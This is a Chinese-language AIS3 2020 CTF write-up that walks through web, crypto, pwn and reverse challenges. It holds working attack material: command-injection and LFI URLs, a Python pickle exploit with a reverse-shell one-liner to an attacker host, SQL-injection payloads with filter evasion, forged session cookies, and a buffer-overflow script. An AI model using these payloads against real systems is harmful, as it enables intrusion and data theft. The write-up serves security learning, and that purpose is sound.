前言

小弟中文不好,如果有中文不通順的地方請見諒 <(_ _)>

這次比我去年第一次打的時候有經驗多了,去年差不多100名左右,這次爬到了 43 名。很可惜的,有幾題我都是戳中邊或者是花太多時間在部分題目導致其他幾題沒有多餘時間看完。比如像是 Clara,Clara 那題我很早就看到有問題的封包甚至是 Key Exchange 中的 Key,但是只能說經驗不足,一開始沒意識到我所看到的字串部分是 Key,而加密方式是純粹 XOR。我是在比賽結束後沒多久才發現這回事的。非常可惜因為 Clara 那題 500 分。但整體而言我還是對這次 AIS3 很滿意也覺得又學到了不少,如 Rose 那題,我在之前其實沒有意識到 Python 在執行時會 Compile 成 Bytecode,也趁機學會了這點。

Web

🐿 Squirrel (100 pt.)

這題一打開會看到一堆到處在跑的松鼠,一開始完全不知道在幹嘛,但那些松鼠上寫的用戶名非常似曾相識… 這些不是常見的Linux使用者帳號嗎?

估計是從 /etc/passwd 翻出來的,咱們來看看這個網頁的原始碼。

❯ curl https://squirrel.ais3.org/
<!DOCTYPE html>

<head>
  <title>🐿️🐿️🐿️🐿️🐿️</title>
  <meta charset="utf-8">
  <link rel="stylesheet" href="css/style.css">
</head>

<body>
  <template id="squirrel-template">
    <div class="squirrel">
      <div class="icon">🐿️</div>
      <div class="name">squirrel</div>
    </div>
  </template>

  <script src="js/squirrel.js"></script>
  <script>
    const squirrelFile = '/etc/passwd';

    fetch('api.php?get=' + encodeURIComponent(squirrelFile))
      .then(res => res.json())
      .then(data => {
        if ('error' in data) {
          throw data.error;
        }
        data.output.split('\n')
          .map(line => line.split(':')[0].trim())
          .filter(name => name.length)
          .forEach(name => new Squirrel(name).update());
      })
      .catch(err => {
        console.log(err);
        alert('Something went wrong! Please report this to the author!');
      });
  </script>
</body>

跟一開始想的一樣,果然是 /etc/passwd 出來的,而且題目還很好心的告訴我們從哪裡拉這個檔案出來的!這個時候就是開始戳 api.php 看看會有什麼東西。我們透過 api.php 的 GET parameter 可以得知這個 PHP 有很大的 LFI (Local File Inclusion) 漏洞。這時我們可以透過它來取得自己的原始碼。

看起來都已經透過 json_encode 把所有的換行符號替換成 \n,這時可以透過PowerShell的 string.Replace 把所有的 \n 換回本地端相容的換行符號以便讀取。

(curl https://squirrel.ais3.org/api.php?get=api.php -s).replace('\n',[System.Environment]::NewLine)

之後就可以輕鬆取得可方便讀取的原始碼。

<?php

header('Content-Type: application/json');

if ($file = @$_GET['get']) {
    $output = shell_exec("cat '$file'");

    if ($output !== null) {
        echo json_encode([
            'output' => $output
        ]);
    } else {
        echo json_encode([
            'error' => 'cannot get file'
        ]);
    }
} else {
    echo json_encode([
        'error' => 'empty file path'
    ]);
}

而在 Line 6 我們可以看到一個非常有問題的 shell_exec,根據官方技術文件可以得知 shell_exec 通常會以使用者 www 的身分執行任何指令並將 stdout 噴回變數內。而這點危險是危險在當使用者可以存取變數內容時,使用者可以透過 Command Injection 的方式執行任意指令。我們因此可以透過字元逃脫 (character escape) 的方式跳出 cat '$file' 中的單引號,接著透過分號來執行第二個指令。

所以最終結果的URL是 https://squirrel.ais3.org/api.php?get=';ls+/'

{
  "output": "5qu1rr3l_15_4_k1nd_0f_b16_r47.txt\nbin\nboot\ndev\netc\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"
}

大功告成!我們拿到了 / 底下的目錄,而且剛好我們的flag檔案也在根目錄下!

❯ curl "https://squirrel.ais3.org/api.php?get=/5qu1rr3l_15_4_k1nd_0f_b16_r47.txt" -s | jq -C

{
  "output": "AIS3{5qu1rr3l_15_4_k1nd_0f_b16_r47}\n"
}

Flag: AIS3{5qu1rr3l_15_4_k1nd_0f_b16_r47}

🦈 Shark (100 pt.)

Let’s dive deep again this year.

因為去年有打過 AIS3 2019 的關係,所以馬上想到的是去年 dive deeper 的題目,是個用 php://filter 解的經典LFI題。不管是不是,我們先 curl 看一看再說。

看到 ?path=hint.txt 感覺又是一個LFI題,我們先看看 index.php 有沒有存在。

<?php

    if ($path = @$_GET['path']) {
        if (preg_match('/^(\.|\/)/', $path)) {
            // disallow /path/like/this and ../this
            die('<pre>[forbidden]</pre>');
        }
        $content = @file_get_contents($path, FALSE, NULL, 0, 1000);
        die('<pre>' . ($content ? htmlentities($content) : '[empty]') . '</pre>');
    }

?>

果然有,而且還透過 regex 把常見的危險符號都去掉了! 但是! php:// 的URI沒有去掉!果然跟去年題目一樣呢!

php:// 是什麼呢? 官方文件寫道:

PHP comes with many built-in wrappers for various URL-style protocols for use with the filesystem functions such as fopen(), copy(), file_exists() and filesize(). In addition to these wrappers, it is possible to register custom wrappers using the stream_wrapper_register() function.

php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read.

寫的這麼多基本上就是在說這些 PHP protocol 可以用來存取 filesystem 的東西。那麼,對我來說到底能用它做什麼呢?我們來看看這篇 Using php://filter for local file inclusion,我們得知可以透過 php://filter/convert.base64-encode/resource=<targetFile> 來進行 filter evasion。那我們在知道這點之後該做什麼呢?

我們透過 hint.txt 知道他要我們去挖其他伺服器上的 flag,那我們到底要怎麼知道內網的IP長什麼樣?既然是伺服器,我們可以猜測這台電腦可能與其他電腦伺服器會進行溝通。這時,我們可以透過像是 /proc/net/tcp 之類的檔案來得知有與這台電腦進行 TCP 連線的動作。

所以我們的 payload 大概可以寫成這樣:

https://shark.ais3.org/?path=php://filter/convert.base64-encode/resource=/proc/net/tcp

我們實際去執行可以拿到以下 Base64 的字串:

ICBzbCAgbG9jYWxfYWRkcmVzcyByZW1fYWRkcmVzcyAgIHN0IHR4X3F1ZXVlIHJ4X3F1ZXVlIHRyIHRtLT53aGVuIHJldHJuc210ICAgdWlkICB0aW1lb3V0IGlub2RlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgMDogMDAwMDAwMDA6MDA1MCAwMDAwMDAwMDowMDAwIDBBIDAwMDAwMDAwOjAwMDAwMDAwIDAwOjAwMDAwMDAwIDAwMDAwMDAwICAgICAwICAgICAgICAwIDEwNzc4MjE2NSAxIDAwMDAwMDAwZGJjZjMwZmYgOTkgMCAwIDEwIDAgICAgICAgICAgICAgICAgICAKICAgMTogMEIwMDAwN0Y6QTQzNSAwMDAwMDAwMDowMDAwIDBBIDAwMDAwMDAwOjAwMDAwMDAwIDAwOjAwMDAwMDAwIDAwMDAwMDAwICAgICAwICAgICAgICAwIDEwNzc1OTQwNiAxIDAwMDAwMDAwNTU2M2NmMTIgOTkgMCAwIDEwIDAgICAgICAgICAgICAgICAgICAKICAgMjogMDMwMDE2QUM6MDA1MCAwMTAwMTZBQzo5QTIwIDAxIDAwMDAwMDAwOjAwMDAwMDAwIDAyOjAwMEFGQzdGIDAwMDAwMDAwICAgIDMzICAgICAgICAwIDIwOTIzOTg1MCAyIDAwMDAwMDAwOTBiNTkxNTkgMjAgMyAzMCAxMCAtMSAgICAgICAgICAgICAgICAK

這時拿去餵給 Base64 decode 就可以拿到我們的結果了!

  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 107782165 1 00000000dbcf30ff 99 0 0 10 0                  
   1: 0B00007F:A435 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 107759406 1 000000005563cf12 99 0 0 10 0                  
   2: 030016AC:0050 010016AC:9A20 01 00000000:00000000 02:000AFC7F 00000000    33        0 209239850 2 0000000090b59159 20 3 30 10 -1                

那我們要怎麼解讀 /proc/net/tcp 檔案呢?這時我們可以去看看相關的 man page 來得知如何讀取該檔案。

  46: 010310AC:9C4C 030310AC:1770 01 
  |      |      |      |      |   |--> connection state
  |      |      |      |      |------> remote TCP port number
  |      |      |      |-------------> remote IPv4 address
  |      |      |--------------------> local TCP port number
  |      |---------------------------> local IPv4 address
  |----------------------------------> number of entry

我們透過文件得知IP位址是hex-encoded而且是反過來的,所以這樣我們可以推出我們的 subnet 是 172.22.0.0。這時我們可以一個一個去戳看看,用PowerShell跟 ForEach Parallel 我們可以很快地就戳到我們的結果。

Flag: AIS3{5h4rk5_d0n'7_5w1m_b4ckw4rd5}

🐘 Elephant (168 pt.)

Do elephants love cookies?

馬上聯想到這題應該是跟 Cookie 有關的題目。我們一開始會先看到這樣的登入頁面。

我們這時可以透過 Fiddler 來看看按下登入時會有什麼連線。

#	Result	Protocol	Host	URL	Body	Caching	Content-Type	Process	Comments	Custom	
6	302	HTTPS	elephant.ais3.org	/	0		text/html; charset=UTF-8	msedge:10224			
7	200	HTTPS	elephant.ais3.org	/	504		text/html; charset=UTF-8	msedge:10224			
HTTP/1.1 302 Found
Server: nginx/1.18.0
Date: Tue, 16 Jun 2020 13:09:40 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: keep-alive
X-Powered-By: PHP/7.4.6
Location: /
Set-Cookie: elephant_user=Tzo0OiJVc2VyIjoyOntzOjQ6Im5hbWUiO3M6NzoiYXNkZmFzZCI7czoxMToiAFVzZXIAdG9rZW4iO3M6MzI6ImYyOGEzNzk4Njg4ZDI4ZTE1MDY5MWE5Mjc4NDZlYjM2Ijt9; expires=Tue, 16-Jun-2020 13:19:40 GMT; Max-Age=600

看起來首先會先設置 Cookie 然後再導回至首頁,不過這 Cookie 看起來似乎有點… 似曾相識?我們透過 Fiddler 的 TextWizard 來看看解不解地出來。

啊哈!看起來是 Base64 呢!而且看起來是某種序列化後的結果。我們來查查 PHP 的 Serialization 相關文件

<?
/*
Anatomy of a serialize()'ed value:

String
s:size:value;

Integer
i:value;

Boolean
b:value; (does not store "true" or "false", does store '1' or '0')

Null
N;

Array
a:size:{key definition;value definition;(repeated per element)}

Object
O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

String values are always in double quotes
Array keys are always integers or strings
    "null => 'value'" equates to 's:0:"";s:5:"value";',
    "true => 'value'" equates to 'i:1;s:5:"value";',
    "false => 'value'" equates to 'i:0;s:5:"value";',
    "array(whatever the contents) => 'value'" equates to an "illegal offset type" warning because you can't use an
    array as a key; however, if you use a variable containing an array as a key, it will equate to 's:5:"Array";s:5:"value";',
     and
    attempting to use an object as a key will result in the same behavior as using an array will.
*/
?>

我們可以從中推出這個原本是一個 User class,然後其中的 Properties 有 [0x00]User[0x00]Tokenname。但是我們知道了這點又能怎樣?我在打的時候有試過將 username 換為 admin 等字眼,但想也知道不會通,因為我們登入的時候就可以打 admin 啦?

我的另外的想法是如果我讓他噴錯或無法反序列化會怎麼樣?所以我把序列化的 Payload 改成以下:

O:4:"User":0:{}

再將其 Base64 設成 Cookie 後再送出。

然後 Flag 就莫名其妙噴出來了(X)。其實我不是很懂這題在考我們什麼,是在考我們PHP序列化後的data長什麼樣嗎?我其實滿好奇的。

Flag: AIS3{0nly_3l3ph4n75_5h0uld_0wn_1v0ry}

🐍 Snake (272 pt.)

Snake 的連結一開起來會看到以下原始碼:

from flask import Flask, Response, request
import pickle, base64, traceback

Response.default_mimetype = 'text/plain'

app = Flask(__name__)

@app.route("/")
def index():
    data = request.values.get('data')
    
    if data is not None:
        try:
            data = base64.b64decode(data)
            data = pickle.loads(data)
            
            if data and not data:
                return open('/flag').read()

            return str(data)
        except:
            return traceback.format_exc()
        
    return open(__file__).read()

雖然之前沒碰過 Flask,可是這題很明顯不需要知道 Flask,因為一看就知道這題最大的問題是 Pickle (L15)。 pickle.loads 可以說是非常危險的一個 call,甚至連官方文件都這麼寫:

The pickle module is not secure. Only unpickle data you trust. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.

既然我們知道有可能可以進行 ACE (Arbitrary Code Execution),那我們就來寫寫看我們的 payload。對我們來說既然知道能進行 ACE,最方便的方式就是寫個 Reverse Shell 到人家電腦上搗亂。

透過一些延伸閱讀,出了下列指令:

import sys,socket,os,pty;s=socket.socket();s.connect((AttackerIP, AttackPort));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")
def exploit(command):
    assert type(command) is list
    payload_prefix = b'''(('''
    payload_suffix = b'''lisubprocess\nPopen\n.'''
    payload_body = bytes()
    for c in command:
        payload_body += b"X" + bytes(struct.pack("<I", len(c))) + bytes(c, encoding="utf-8")
    payload = payload_prefix + payload_body + payload_suffix
    assert b'R' not in payload
    return payload

def main():
    payload = exploit([
        "python",
        "-c",
        command
    ])
    print(base64.b64encode(payload))

在本地端設定好netcat,將其Base64 output丟回至伺服器中,就成功拿到了對方電腦的 Shell!

這題我還滿喜歡的,這告訴了大家 pickle.loads 是個多麼危險的東西。

🦏 Rhino (494 pt.)

Rhino 這題從 HTML head 就可以看出來是 Jekyll 出來的靜態網站,所以再怎麼戳這網站也不會噴出什麼奇怪東西的。

<!-- Begin Jekyll SEO tag v2.6.1 -->
<title>A Lonely Programmer | As you can see in the title, I am a lonely programmer. My favorite programming language is JavaScript and my favorite animal is rhino.</title>
<meta name="generator" content="Jekyll v4.0.1" />
<meta property="og:title" content="A Lonely Programmer" />
<meta property="og:locale" content="en_US" />
<meta name="description" content="As you can see in the title, I am a lonely programmer. My favorite programming language is JavaScript and my favorite animal is rhino." />
<meta property="og:description" content="As you can see in the title, I am a lonely programmer. My favorite programming language is JavaScript and my favorite animal is rhino." />
<link rel="canonical" href="/" />
<meta property="og:url" content="/" />
<meta property="og:site_name" content="A Lonely Programmer" />
<script type="application/ld+json">
{"headline":"A Lonely Programmer","description":"As you can see in the title, I am a lonely programmer. My favorite programming language is JavaScript and my favorite animal is rhino.","name":"A Lonely Programmer","url":"/","@type":"WebSite","@context":"https://schema.org"}</script>
<!-- End Jekyll SEO tag -->

那就… 網站起手式先看看 robots.txt/humans.txt 有沒有東西囉?

其實當下滿意外會有的,畢竟是考到爛的提示(X),但這給了我們許多相關需要知道的東西。

  • 這個網站是 Node.JS 當基底的 (node_modules)
  • 根目錄下可能有 .js 及 .json 及 .xml 檔
  • 有 flag.txt
    • 想也知道網站不可能這麼容易就給我們 flag 的

那我們既然知道是 Node-based,那我們來戳戳看有沒有 package.json

{
  "name": "app",
  "version": "1.0.0",
  "description": "",
  "scripts": {
    "start": "node chill.js",
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "djosix",
  "license": "ISC",
  "dependencies": {
    "cookie-session": "^1.4.0",
    "express": "^4.17.1"
  }
}

有欸!主程式是在 chill.js,我們來看看那個裡面是什麼?

const express = require('express');
const session = require('cookie-session');

let app = express();

app.use(session({
  secret: "I'm watching you."
}));

app.use('/', express.static('./'));

app.get('/flag.txt', (req, res) => {
  res.setHeader('Content-Type', 'text/plain');

  let n = req.session.magic;

  if (n && (n + 420) === 420)
    res.sendFile('/flag');
  else
    res.send('you are a sad person too');
});

app.get('*', function(req, res){
  res.status(404).sendFile('404.html', { root: __dirname });
});

app.listen(process.env.PORT, '0.0.0.0');

看起來我們得自行找出一個有被 I'm watching you. 簽章的 Cookie 而且 magic 值還必須不等於 0 可是跟 420 相加時還得要 420。

我們晚點再處理 cookie-session 因為那個好處理,在地方端執行一次就好。我們先看到底要怎樣才能讓 req.session.magic 變成一個符合期望的值。我一開始的想法是試試看能不能把 magic 指派為一個 JavaScript object然後override ToString/toPrimitive。很可惜的,不管怎麼改,回傳的 Cookie 永遠不會把 JS Object 丟回來。

這題我想了很久,我開始想說會不會是在考 JS 的其他型態,而跟 JS Object 沒什麼關係?所以我開始丟了各種型態進 Node CLI 試試看到底什麼型態下會成立。然後我就很黑箱的方式不小心猜到了(?)。

原來問題是在 JavaScript 其實並沒有所謂 double/decimal/int/float 這些數字型態的差別,全部都是 Number。透過延伸閱讀,我們發現 JavaScript 其實跟我一樣,數學很差。

The maximum number of decimals is 17, but floating point arithmetic is not always 100% accurate

數字一旦太多小數點就會開始不準,這時再進行加減就很容易出現一些我們認為不該出現的東西。

var x = 0.2 + 0.1;         // x will be 0.30000000000000004

所以在知道這一切之後我們就可以從地方端把 req.session.magic 改成 Number.MIN_VALUE 然後丟出去拿我們的 Cookie。

所以我們所需要拿 flag 的 Cookie 就是:

Set-Cookie: express:sess=eyJtYWdpYyI6NWUtMzI0fQ==; path=/; httponly
Set-Cookie: express:sess.sig=PcDKAJv_XBACTW9q-OASaZSdEIQ; path=/; httponly
❯ curl https://rhino.ais3.org/flag.txt -H "Cookie: express:sess=eyJtYWdpYyI6NWUtMzI0fQ==;" -H "Cookie: express:sess.sig=PcDKAJv_XBACTW9q-OASaZSdEIQ;"
AIS3{h4v3_y0u_r34d_7h3_rh1n0_b00k?}

Flag: AIS3{h4v3_y0u_r34d_7h3_rh1n0_b00k?}

🦉 Owl (492 pt.)

Flag is inside the database.

  • There’s a hint in the webpage
  • This is a hybridge challenge with Turtle in Crypto

一開始看到 Crypto 我的反應: (っ °Д °;)っ 畢竟我對密碼學的東西感到非常恐慌,數學相關的東西都爛爆,但後來仔細看其實發現好像沒有太大關係。第一件事就是開Fiddler看中間的請求跟回應。

#	Result	Protocol	Host	URL	Body	Caching	Content-Type	Process	Comments	Custom	
16	200	HTTPS	turtowl.ais3.org	/?action=login	86	no-store, no-cache, must-revalidate; Expires: Thu, 19 Nov 1981 08:52:00 GMT	text/html; charset=UTF-8	msedge:10224			
21	200	HTTPS	turtowl.ais3.org	/	716	no-store, no-cache, must-revalidate; Expires: Thu, 19 Nov 1981 08:52:00 GMT	text/html; charset=UTF-8	msedge:10224

我們發現它會把我們導向至 https://turtowl.ais3.org/?action=login 並將我們的登入資訊 POST 過去,如果資料不對的話會噴錯然後把我們丟回到登入頁面。提示提到 GUESS THE STUPID USERNAME / PASSWORD,所以大概是弱密碼…? AIS3 應該不太可能出那麼OO的題目,所以應該還有。我們透過 admin/admin 登入進來之後看到以下:

<head>
    <title>🦉🦉🦉🦉</title>
    <meta charset='utf-8'>
    <link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
    <script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
    <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
</head>
<body>
            <h3 class="text-center text-white pt-5"><a style="color: white" href="/?source">SHOW HINT</a></h3>
        <div class="container">
            <div class="row justify-content-center align-items-center">
                <div class="col-md-6">
                    <div class="col-md-12">
                        <h3 class="text-center text-info">Nothing</h3>
                        Hello, <b>admin</b>, nothing here.
                        <a href="?action=logout">Logout!</a>
                    </div>
                </div>
            </div>
        </div>
    </body>

裡面的提示提到了 https://turtowl.ais3.org/?source,估計是 index.php 的原始碼。

我們可以看到很有趣的幾點:

  • CSRF 是由 MD5 隨機數*隨機數當作 Key 產生的
  • sqlmap 被擋掉了
    • 大概是覺得 sqlmap 小孩太多了
  • $username 有特別進行兩次 str_ireplace 把危險字串移掉
    • 兩次?
  • 直接執行下列 SQL Statement
    • SELECT * FROM users WHERE username = '$username' AND password = '$hash'

很明顯的,主辦希望我們攻擊的點是用戶名,可是我們得先考慮先前的 str_ireplace。我們該怎麼繞呢?

我們知道他會進行兩次替換,那我們在我們字串裡面混一些它會替換的字就好了呀:

那空格怎麼辦?空格也會換掉阿?這時我們可以用換行符號或Tab character替代。所以我們最後的 POST 資料應該是:

username=%27%0Ao-selandect-r%0A1%3D1%3B%2Foselandectr*&password=asdf&csrf_token=$csrfToken

這樣我們就成功以 root 登入了!接著就是開始挖資料,我們透過 PHP 原始碼知道 Database 種類是 SQLite3,所以我們可以開始寫我們的SQL Statement。我們從中撈到有個table叫 garbage,所以我們可以開始看看裡面有什麼。

Column names in table garbage:

-- result: id,name,value,
-- encoded payload: '%0Aunioorron%0Aall%0Aselselandectect%0A256%0Aas%0Aid,%0Agroup_concat(name)%0Aas%0Ausername,%0A''%0Aas%0Apasswooorrrd%0Afrfrfromomom%0Apragma_table_info('garbage');/oselandectr*
' union all select 256 as id, group_concat(name) as username, '' as password from pragma_table_info('garbage');/or*

Values in column value in table garbage:

-- result: sqlmap is for child,who starts selling weeds,this is the flag: AIS3{4_ch1ld_15_4_curly_d1mpl3d_lun471c},Im watching you,
-- encoded payload: '%0Aunioorron%0Aall%0Aselselandectect%0A256%0Aas%0Aid,%0Agroup_concat(value)%0Aas%0Ausername,%0A''%0Aas%0Apasswooorrrd%0Afrfrfromomom%0Agarbage;/oselandectr*

' union all select 256 as id, group_concat(value) as username, '' as password from garbage;/or*

Flag: AIS3{4_ch1ld_15_4_curly_d1mpl3d_lun471c}

Crypto

🦕 Brontosaurus (100 pt.)

Brontosaurus peek at last year’s problems with a long neck and picked up “KcufsJ”.

看到 KcufsJ 已經腦袋直接想到 JsFuck 了。 JsFuck 是什麼呢? JsFuck 基本上是由 Brainfuck 這個語言過來的,所以語言非常相似。我們可以直接把它丟到其他人已經寫好的 Interpreter 實作

欸?

為什麼噴錯?仔細看了一下,原來是主辦很貼心地幫我們把這個字串進行 reverse 了!這時候我們把逆回來再執行一次看看。

Flag: AIS3{Br0n7Os4uru5_ch3at_3asi1Y}

🦖 T-Rex (100 pt.)

Tyrannosaurus-rex is an nihilist.

簽到題,照表格進行字串替換即可。

        !       @       #       $       %       &

!       V       F       Y       J       6       1

@       5       0       M       2       9       L

#       I       W       H       S       4       Q

$       K       G       B       X       T       A

%       E       3       C       7       P       N

&       U       Z       8       R       D       O
'&$ !# $# @% { %$ #! $& %# &% &% @@ $# %# !& $& !& !@ _ $& @% $$ _ @$ !# !! @% _ #! @@ !& _ $# && #@ !% %$ ## !# &% @$ _ $& &$ &% %& && #@ _ !@ %$ %& %! $$ &# !# !! &% @% ## $% !% !& @! #& && %& !% %$ %# %$ @% ## %@ @@ $% ## !& #% %! %@ &@ %! &@ %$ $# ## %# !$ &% @% !% !& $& &% %# %@ #$ !# && !& #! %! ## #$ @! #% !! $! $& @& %% @@ && #& @% @! @# #@ @@ @& !@ %@ !# !# $# $! !@ &$ $@ !! @! &# @$ &! &# $! @@ &@ !% #% #! &@ &$ @@ &$ &! !& #! !# ## %$ !# !# %$ &! !# @# ## @@ $! $$ %# %$ @% @& $! &! !$ $# #$ $& #@ %@ @$ !% %& %! @% #% $! !! #$ &# ## &# && $& !! !% $! @& !% &@ !& $! @# !@ !& @$ $% #& #$ %@ %% %% &! $# !# $& #@ &! !# @! !@ @@ @@ ## !@ $@ !& $# %& %% !# !! $& !$ $% !! @$ @& !& &@ #$ && @% $& $& !% &! && &@ &% @$ &% &$ &@ $$ }'.Replace('!!','V').Replace('!@','5').Replace('!#','I').Replace('!$','K').Replace('!%','E').Replace('!&','U').Replace('@!','F').Replace('@@','0').Replace('@#','W').Replace('@$','G').Replace('@%','3').Replace('@&','Z').Replace('#!','Y').Replace('#@','M').Replace('##','H').Replace('#$','B').Replace('#%','C').Replace('#&','8').Replace('$!','J').Replace('$@','2').Replace('$#','S').Replace('$$','X').Replace('$%','7').Replace('$&','R').Replace('%!','6').Replace('%@','9').Replace('%#','4').Replace('%$','T').Replace('%%','P').Replace('%&','D').Replace('&!','1').Replace('&@','L').Replace('&#','Q').Replace('&$','A').Replace('&%','N').Replace('&&','O').Replace(' ','')

Flag:

AIS3{TYR4NN0S4URU5_R3X_GIV3_Y0U_SOMETHING_RANDOM_5TD6XQIVN3H7EUF8ODET4T3H907HUC69L6LTSH4KN3EURN49BIOUY6HBFCVJRZP0O83FWM0Z59IISJ5A2VFQG1QJ0LECYLA0A1UYIHTIIT1IWH0JX4T3ZJ1KSBRM9GED63CJVBQHQORVEJZELUJW5UG78B9PP1SIRM1IF500H52USDPIVRK7VGZULBO3RRE1OLNGNALX}

Pwn

很可惜,過了一年我 Pwn 還是只會簽到題,所以只能解出 BOF。

👻 BOF (100 pt.)

去年我是依普通起手式 objdump 找到 system('sh') 的位址來寫的。今年我的想法是試試看透過 radare2 來找位址。因此首先第一件事就是 aa 然後 pdf 看所有 function 的位址。

可是不論怎麼翻都找不到 system call,雖然 0x00400570 的部分有提到 system,但很明顯只是 reference system call 而已,所以我最後還是乖乖的用 Ghidra 來找找 system 這東西是被哪個 function 位址用的。

我們發現 0x00400687 的地方有呼叫 CALL system 的 function,然後 main 底下的 gets 所 allocate 的記憶體是 0x30。

所以我們就可以開始寫 pwntools 的 Python 腳本啦!

import pwn
pwn.context.update(arch='amd64', os='linux')
remote_address = '60.250.197.227'
remote_port = 10000
if not remote_address:
    process = pwn.process('./bof-767fdf896cf9838c0294db24eaa1271ebf15a6e638a873e94ab9682ef28464b4')
else:
    process = pwn.remote(remote_address, remote_port)
payload = b'a'*0x30 + pwn.pack(0x00400687)
print(process.recvline())
process.sendline(payload)
try:
    process.sendline('whoami')
    process.interactive()
except EOFError:
    print("Failed to pwn the remote machine.")

Flag:

AIS3{OLd_5ChOOl_tr1ck_T0_m4Ke_s7aCk_A116nmeNt}

Reverse

🍍 TsaiBro (100 pt.)

看起來也是去年題目。執行時,程式會要求要配上一個 string,然後會噴出這東西需要什麼字串來對應你輸入的東西。

❯ ./TsaiBro
./TsaiBro string%

❯ ./TsaiBro a
Terry...逆逆...沒有...學問...單純...分享...個人...生活...感觸...
發財...發財.% 

而根據 TsaiBroSaid 裡面的字串,我們必須得透過上面的方法重組出我們的 Flag。這時候我們就可以用很暴力的方式用 pwntools 幫我們戳每個 printable ASCII 的對應字串。不過因為每組字串都是兩個發財組在一起的,所以我用 RegEx 把它們一組一組拆開。

import pwn
import string
import re
flag = "發財..發財.......發財....發財.......發財....發財.發財........發財.......發財.發財......發財..發財.....發財........發財.......發財......發財.......發財.發財........發財..發財.....發財..發財....發財.....發財.....發財.發財........發財......發財....發財........發財........發財.....發財......發財......發財.發財.發財........發財......發財.......發財........發財........發財.....發財.......發財.發財........發財.發財...發財......發財....發財........發財.....發財......發財.......發財.發財........發財...發財...發財......發財....發財........發財........發財.......發財....發財.......發財....發財........發財.......發財...發財......發財......發財...發財........發財.......發財.發財........發財...發財..發財......發財.發財......發財..發財..發財....發財......發財......發財........發財.......發財.發財........發財...發財..發財.....發財.....發財.發財...發財.發財........發財.......發財.發財......發財........發財......發財.......發財.發財........發財...發財.....發財..發財....發財......發財......發財........發財.......發財.發財........發財.......發財....發財...發財.......發財...發財.......發財...發財.......發財...發財.......發財...發財.......發財...發財.......發財...發財.......發財...發財.......發財...發財.......發財...發財.......發財...發財.......發財...發財.......發財...發財.......發財...發財.......發財...發財.......發財...發財.......發財...發財.......發財...發財.......發財...發財.......發財...發財......發財......發財...發財.發財........發財.發財...發財......發財....發財........發財.....發財......發財.......發財.發財........發財......發財........發財........發財.....發財...發財.....發財........發財.......發財.發財......."

flag_segments = re.findall("發財\.{1,99}發財\.{1,99}", flag)

for c in string.printable:
    process = pwn.process(["./TsaiBro", c])
    process.recvline()
    try:
        secret_chr = process.recv().decode()
        print(secret_chr)
        for i in range(0,len(flag_segments)):
            if flag_segments[i] == secret_chr:
                flag_segments[i] = c
    except EOFError:
        pass

print(''.join(flag_segments))

Flag:

AIS3{y3s_y0u_h4ve_s4w_7h1s_ch4ll3ng3_bef0r3_bu7_its_m0r3_looooooooooooooooooong_7h1s_t1m3}

🎹 Fallen Beat (144 pt.)

這題我看到是 Java 檔就知道是要 Decompile 回 Java 然後再翻的,所以第一件事當然就是 jd 一下囉。

18:08:22.060 INFO  com.github.kwart.jd.cli.Main - Decompiling .\Fallen_Beat.jar
18:08:22.065 INFO  com.github.kwart.jd.output.ZipOutput - ZIP file output will be initialized - Fallen_Beat.src.jar
18:08:22.527 INFO  com.github.kwart.jd.output.ZipOutput - Finished with 15 class file(s) and 1 resource file(s) written.

接著就是把 IDEA 翻出來然後慢慢看檔案。一開始看到的 Code 其實還滿亂的,不過我們可以想想遊戲控制的東西大概都會塞在哪。

解題方向:

  • 提示跟我們說要把所有 Combo 按出來,那遊戲怎麼取得最高 Combo 是多少?
    • 方法一: 把 Max Combo 換成容許的最高值
  • PanelEnding 裡面,我們有找到取 Flag 的一段
    • 我們如果知道 Cache 是什麼的話就可以直接把 Flag 從 byte[] 噴出來
    • 我們既然有 Debugger 跟 Code 了,那我們直接讓那個 iftrue 就好啦
    • 方法二:直接跳過 if (t == mc)
if (t == mc) {
  for (i = 0; i < cache.size(); i++)
    this.flag[i % this.flag.length] = (byte)(this.flag[i % this.flag.length] ^ ((Integer)cache.get(i)).intValue()); 
  String fff = new String(this.flag);
  this.text[0].setText(String.format("Flag: %s", new Object[] { fff }));
}

音樂部分

  • 每次都得等音樂跑完,那我們把等音樂那幾行去掉就不用等啦

遊戲一開始馬上就能噴 Flag 了。

🌹 La vie en rose (499 pt.)

這是我這次 AIS3 花最久的一題,也是我覺得最嘔的一題,因為我摸出來之後看不出怎麼解好一段時間,而且是用最暴力的方式解。

首先,我們一看就知道本題所附的 exe 檔是某種 Python 編譯而成的檔案。怎麼看得?我們首先可以看它的 icon,很明顯就是 Python 的 Logo 衍生出來的。

如果這樣還不夠的話,我們可以從這東西執行時的 memory references 來看這東西目前有開哪些 handles。在這些 handles 裡面,屢次提到 python38.dll,所以很明顯有用到 Python 3.8 的 runtime。

那我們在知道這點後就可以開始找找解包的腳本/程式,而有寫 Python 腳本有想過打包的人都知道 PyInstaller 可以做到這回事,所以找一下相關關鍵字就可以找到反打包的東西。我個人是使用 pyinstxtractor 將相關檔案拉出來。

❯ py -3 .\pyinstxtractor.py La_vie_en_rose.exe
[+] Processing La_vie_en_rose.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 38
[+] Length of package: 9518557 bytes
[+] Found 955 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
